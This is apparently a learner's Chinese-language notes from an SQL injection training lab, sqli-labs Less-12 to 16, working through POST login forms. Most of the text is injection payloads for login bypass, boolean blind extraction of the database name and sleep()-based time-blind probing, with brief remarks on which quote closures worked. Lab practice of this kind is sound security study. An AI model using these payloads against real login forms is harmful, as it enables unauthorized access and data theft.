POST登入
首先试试
uname=admin'# & passwd=1
登入成功
如果不知道用户名 ,注释符被过滤，可以从password入手
一般第一个登陆字段（一般是用户名）就用注释，第二个登陆字段（一般就密码）用闭合和注释都是可以的
uname=test & passwd=1'or 1='1
接下来利用盲注猜解数据库(布尔盲注)
uname=test & passwd=1'or length(database())>0 or 1='2 //#被过滤情况下 uname=test & passwd=1'or length(database())>0 #
剩下的步骤和get一样
一个个猜解数据库的名字
uname=test & passwd=1'or ascii(substr((select database()),1,1))>0 or 1='2
less-12
uname=test & passwd=1'or 1='1
先猜解是被单引号包围还是双引号还是括号什么的
uname=test & passwd=1" #
爆语法错误了，语句没写好QAQ
uname=test' # & passwd=1
uname=test" # & passwd=1
之前搞错了 ,不存在test这个用户所以当然不了
uname=admin‘ # & passwd=1 uname=admin" # & passwd=1 uname=admin‘) # & passwd=1 uname=admin") # & passwd=1 //成功登入
uname=test & passwd=1 or 1='1 uname=test & passwd=1 or 1="1 uname=test & passwd=1 or 1=('1 uname=test & passwd=1 or 1=("1 //按理说这个应该可以 都登不进去
原来是passwd那个没有用")闭合
uname=test & passwd=1") or 1=("1
爆数据库
uname=test & passwd=1") or length(database())>0 or 2=("1
接下来的步骤和之前一样
less-13
uname=admin' # & passwd=1 uname=admin") # & passwd=1 ') " 都报错了
看源码是‘)闭合的鸭 怎么就不行呢
原来如此 ,登入了也不返回结果
注意一下 ,成功了会返回图片
less-13
uname=admin" # & passwd=1
less-14
尝试sleep()时间盲注
uname=admin" and sleep(10) # & passwd=1
uname=admin" or sleep(10) # & passwd=1
延迟了,发现可以sleep盲注,当用or 的时候是一直在转 不知道为什么
uname=admin" # & passwd=1
less-15
'
uname=admin") # & passwd=1
')
")
都报错了,不过输入单引号没有返回结果 // 窗口有点小 往下滑就了
uname=admin' & passwd=1
试一下永真
uname=a & passwd=1' or 1='1
less-16
uname=admin") #&passwd=a'
uname=admin") #&passwd=a'or length(database())>0 1=("1
利用sleep()
uname=a&passwd=a") or if(length((select database()))=8,1,sleep(5)) #
